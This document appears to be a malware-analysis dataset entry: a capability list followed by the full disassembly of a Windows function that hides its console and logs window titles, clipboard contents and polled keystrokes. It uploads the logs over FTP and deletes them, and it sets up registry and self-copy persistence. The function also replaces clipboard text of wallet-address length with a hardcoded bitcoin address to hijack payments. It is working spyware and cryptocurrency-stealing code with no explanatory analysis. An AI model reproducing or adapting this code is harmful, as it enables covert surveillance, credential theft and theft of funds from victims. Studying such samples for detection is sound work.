Function at 0x140002b36
Capabilities:
Delete file
Get graphical window text
Get hostname
Hide graphical window
Log keystrokes via polling
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push rbp
push rdi
mov eax, 0x3198
call fcn.1400051e0
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
mov dword [0x14001d6e0], 0xc350
call dbg.NameExeFile
call dbg.NameUSer
call dbg.CurrentPath
mov dword [rbp + 0x30bc], 0x10
lea rdx, [rbp + 0x30bc]
lea rax, [rbp + 0x30c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
test eax, eax
je 0x140002bae
lea rax, [rbp + 0x30c0]
mov rdx, rax
lea rax, str.Nome_del_computer:__s_n
mov rcx, rax
call dbg.printf
jmp 0x140002bbd
lea rax, str.Impossibile_ottenere_il_nome_del_computer_n
mov rcx, rax
call dbg.printf
lea rax, [0x14001d300]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [0x14001d300]
add rax, rdx
movabs rdi, 0x73726573555c3a43
mov qword [rax], rdi
mov word [rax + 8], 0x5c
lea rax, [0x14001d380]
mov rdx, rax
lea rax, [0x14001d300]
mov rcx, rax
call sym.strcat
lea rax, [0x14001d300]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [0x14001d300]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x30c0]
mov rdx, rax
lea rax, [0x14001d300]
mov rcx, rax
call sym.strcat
lea rax, [0x14001d300]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [0x14001d300]
add rax, rdx
mov word [rax], 0x5f
lea rax, [0x14001d380]
mov rdx, rax
lea rax, [0x14001d300]
mov rcx, rax
call sym.strcat
lea rax, [0x14001d300]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [0x14001d300]
add rax, rdx
mov dword [rax], 0x7068702e
mov byte [rax + 4], 0
lea rax, [rbp + 0x30c0]
mov rdx, rax
lea rax, [0x14001d280]
mov rcx, rax
call sym.strcat
lea rax, [0x14001d280]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [0x14001d280]
add rax, rdx
mov word [rax], 0x5f
lea rax, [0x14001d380]
mov rdx, rax
lea rax, [0x14001d280]
mov rcx, rax
call sym.strcat
lea rax, [0x14001d280]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [0x14001d280]
add rax, rdx
mov dword [rax], 0x7068702e
mov byte [rax + 4], 0
call dbg.GetCaptured
call dbg.FuncTimeLine
lea rax, [rbp + 0x9a0]
mov edx, 0x2710
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
call dbg.FuncremoteTimeFileName
mov qword [rbp + 0x960], 0
mov qword [rbp + 0x968], 0
mov qword [rbp + 0x970], 0
mov qword [rbp + 0x978], 0
mov qword [rbp + 0x980], 0
mov qword [rbp + 0x988], 0
mov word [rbp + 0x990], 0
lea rax, [rbp + 0x960]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x960]
add rax, rdx
mov dword [rax], 0x4e4e4f43
mov word [rax + 4], 0x5f
lea rax, [rbp + 0x960]
lea rdx, [0x14001d280]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x960]
lea rdx, [0x14000d3f3]
mov rcx, rax
call dbg.appendToFile
mov qword [rbp + 0x920], 0
mov qword [rbp + 0x928], 0
mov qword [rbp + 0x930], 0
mov qword [rbp + 0x938], 0
mov qword [rbp + 0x940], 0
mov qword [rbp + 0x948], 0
mov word [rbp + 0x950], 0
lea rax, [rbp + 0x920]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x920]
add rax, rdx
mov qword [rax], rdi
mov word [rax + 8], 0x5c
lea rax, [rbp + 0x920]
lea rdx, [0x14001d380]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x920]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x920]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x920]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x920]
add rax, rdx
mov dword [rax], 0x4e4e4f43
mov word [rax + 4], 0x5f
lea rax, [rbp + 0x920]
lea rdx, [0x14001d280]
mov rcx, rax
call sym.strcat
lea rdx, [rbp + 0x920]
lea rax, [rbp + 0x960]
mov qword [rsp + 0x20], rax
mov r9, rdx
lea r8, [0x14001d740]
lea rax, [0x14001d758]
mov rdx, rax
lea rax, [0x14001d700]
mov rcx, rax
call dbg.uploadFileToFTP
lea rax, [rbp + 0x920]
mov rcx, rax
call sym.remove
lea rax, str.WinSystem
mov rdx, rax
lea rax, [0x14001d640]
mov rcx, rax
call sym.strstr
mov qword [rbp + 0x3100], rax
cmp qword [rbp + 0x3100], 0
jne 0x140002f79
call dbg.WriteReg
call dbg.CopyMe
lea rax, [0x14001d180]
mov rcx, rax
call sym.remove
mov r9d, 0x10
lea r8, str.ERRORE__3287426
lea rax, str.Il_file_non_supporta_la_versione_del_tuo_sistema_operativo_quindi_verra_terminato__n_nContattare_lamministratore_di_sistema_per_maggiori_informazioni.
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
jmp 0x140003a2d
mov ecx, 0x4e20
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rdx, [rbp + 0x120]
mov eax, 0
mov ecx, pe_nt_image_headers64
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x520]
mov eax, 0
mov ecx, pe_nt_image_headers64
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0x30f8], rax
cmp qword [rbp + 0x30f8], 0
jne 0x140002fde
lea rax, str.Impossibile_ottenere_la_finestra_attiva._n
mov rcx, rax
call dbg.printf
lea rdx, [rbp + 0x20]
mov rax, qword [rbp + 0x30f8]
mov r8d, 0x100
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rdx, [rbp + 0x520]
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x14000319a
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.strlen
cmp rax, 0x3e7
ja 0x14000319a
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x520]
mov rcx, rax
call sym.strcpy
lea rdx, [rbp + 0x20]
mov rax, qword [rbp + 0x30f8]
mov r8d, 0x100
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
test eax, eax
jle 0x14000318b
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov dword [rbp + 0x10], 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x50]
add rax, rdx
movabs rdx, 0x5453574f444e4957
movabs rcx, 0x203d20454c5449
mov qword [rax], rdx
mov qword [rax + 8], rcx
lea rdx, [rbp + 0x20]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, [0x14001d280]
mov rcx, rax
call dbg.appendToFile
mov byte [rbp - 0x50], 0
call dbg.FuncCheckDimFile
mov edx, dword [0x14001d040]
mov eax, dword [0x14001d6e0]
cmp edx, eax
jle 0x14000319a
lea rax, [0x14001d200]
mov qword [rsp + 0x20], rax
lea r9, [0x14001d300]
lea r8, [0x14001d740]
lea rax, [0x14001d758]
mov rdx, rax
lea rax, [0x14001d700]
mov rcx, rax
call dbg.uploadFileToFTP
lea rax, [0x14001d300]
mov rcx, rax
call sym.remove
call dbg.FuncTimeLine
call dbg.FuncremoteTimeFileName
jmp 0x14000319a
lea rax, str.Impossibile_ottenere_il_titolo_della_finestra._n
mov rcx, rax
call dbg.printf
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x30f0], rax
mov rax, qword [rbp + 0x30f0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
jne 0x1400031e3
lea rax, str.Impossibile_aprire_il_clipboard_1
mov rcx, rax
call dbg.printf
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
mov qword [rbp + 0x30e8], rax
cmp qword [rbp + 0x30e8], 0
je 0x140003493
mov rax, qword [rbp + 0x30e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp + 0x30e0], rax
cmp qword [rbp + 0x30e0], 0
je 0x140003493
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x30e0]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140003493
mov rax, qword [rbp + 0x30e0]
mov rcx, rax
call sym.strlen
cmp rax, 0x63
ja 0x140003493
mov rdx, qword [rbp + 0x30e0]
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.strcpy
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov dword [rbp + 0x10], 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x50]
add rax, rdx
movabs rdi, 0x52414f4250494c43
mov qword [rax], rdi
movabs rdi, 0x203d204452414f
mov qword [rax + 5], rdi
mov rdx, qword [rbp + 0x30e0]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, [0x14001d280]
mov rcx, rax
call dbg.appendToFile
mov byte [rbp - 0x50], 0
call dbg.FuncCheckDimFile
mov edx, dword [0x14001d040]
mov eax, dword [0x14001d6e0]
cmp edx, eax
jle 0x1400033a1
lea rax, [0x14001d200]
mov qword [rsp + 0x20], rax
lea r9, [0x14001d300]
lea r8, [0x14001d740]
lea rax, [0x14001d758]
mov rdx, rax
lea rax, [0x14001d700]
mov rcx, rax
call dbg.uploadFileToFTP
lea rax, [0x14001d300]
mov rcx, rax
call sym.remove
call dbg.FuncTimeLine
call dbg.FuncremoteTimeFileName
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
jne 0x1400033c2
lea rax, str.Impossibile_aprire_il_clipboard_2
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x30e0]
mov rcx, rax
call sym.strlen
cmp rax, 0x2a
jne 0x140003480
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
lea rax, str.bc1qk9unua7sn8rzw55znuz60c32c2t8d4sn7nz6g6
mov qword [rbp + 0x30d8], rax
mov rax, qword [rbp + 0x30d8]
mov rcx, rax
call sym.strlen
add rax, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp + 0x30d0], rax
cmp qword [rbp + 0x30d0], 0
je 0x140003477
mov rax, qword [rbp + 0x30d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x30d8]
mov rdx, rax
call sym.strcpy
mov rax, qword [rbp + 0x30d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [rbp + 0x30d0]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov rax, qword [rbp + 0x30e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov dword [rbp + 0x310c], 8
jmp 0x140003a18
mov eax, dword [rbp + 0x310c]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x140003a11
cmp dword [rbp + 0x310c], 0x2e
jg 0x140003546
cmp dword [rbp + 0x310c], 8
jge 0x140003512
jmp case.0x140003510.163
mov eax, dword [rbp + 0x310c]
sub eax, 0xa0
cmp eax, 0x42
ja case.0x140003510.163
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x14000d588]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x14000d588]
add rax, rdx
jmp rax
mov eax, dword [rbp + 0x310c]
sub eax, 8
cmp eax, 0x26
ja case.0x140003510.163
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x14000d694]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x14000d694]
add rax, rdx
jmp rax
cmp dword [rbp + 0x310c], 0xe2
jg case.0x140003510.163
cmp dword [rbp + 0x310c], 0xa0
jge 0x1400034dc
jmp case.0x140003510.163
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5d545b
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5d535b
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5d535b
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5d535b
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5254435b
mov word [rax + 4], 0x5d
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5254435b
mov word [rax + 4], 0x5d
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5254435b
mov word [rax + 4], 0x5d
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5d53415b
mov byte [rax + 4], 0
jmp 0x140003a03
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x50]
add rax, rdx
mov dword [rax], 0x203d20
lea rdx, [rbp + 0x9a0]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, [0x14001d280]
mov rcx, rax
call dbg.appendToFile
mov byte [rbp + 0x9a0], 0
call dbg.FuncCheckDimFile
mov edx, dword [0x14001d040]
mov eax, dword [0x14001d6e0]
cmp edx, eax
jle 0x140003a02
lea rax, [0x14001d200]
mov qword [rsp + 0x20], rax
lea r9, [0x14001d300]
lea r8, [0x14001d740]
lea rax, [0x14001d758]
mov rdx, rax
lea rax, [0x14001d700]
mov rcx, rax
call dbg.uploadFileToFTP
lea rax, [0x14001d300]
mov rcx, rax
call sym.remove
call dbg.FuncTimeLine
call dbg.FuncremoteTimeFileName
jmp 0x140003a02
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5d2d3c5b
mov byte [rax + 4], 0
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x5d3e2d5b
mov byte [rax + 4], 0
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x544c415b
mov word [rax + 4], 0x5d
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov dword [rax], 0x544c415b
mov word [rax + 4], 0x5d
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0x2d
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0x2e
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0x2c
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0x3c
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0xb9c3
mov byte [rax + 2], 0
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0x2b
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0xa8c3
mov byte [rax + 2], 0
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0xacc3
mov byte [rax + 2], 0
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0x27
jmp 0x140003a03
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x9a0]
add rax, rdx
mov word [rax], 0x5c
jmp 0x140003a03
mov edx, dword [rbp + 0x310c]
lea rax, [rbp + 0x99e]
mov r8d, edx
lea rdx, [0x14000d583]
mov rcx, rax
call dbg.sprintf
lea rax, [rbp + 0x99e]
mov rdx, rax
lea rax, [0x14000d165]
mov rcx, rax
call dbg.printf
lea rdx, [rbp + 0x99e]
lea rax, [rbp + 0x9a0]
mov rcx, rax
call sym.strcat
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140003a03
nop
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp + 0x310c], 1
cmp dword [rbp + 0x310c], 0x122
jle 0x1400034ab
jmp 0x140002fb5
mov eax, 0
add rsp, 0x3198
pop rdi
pop rbp
ret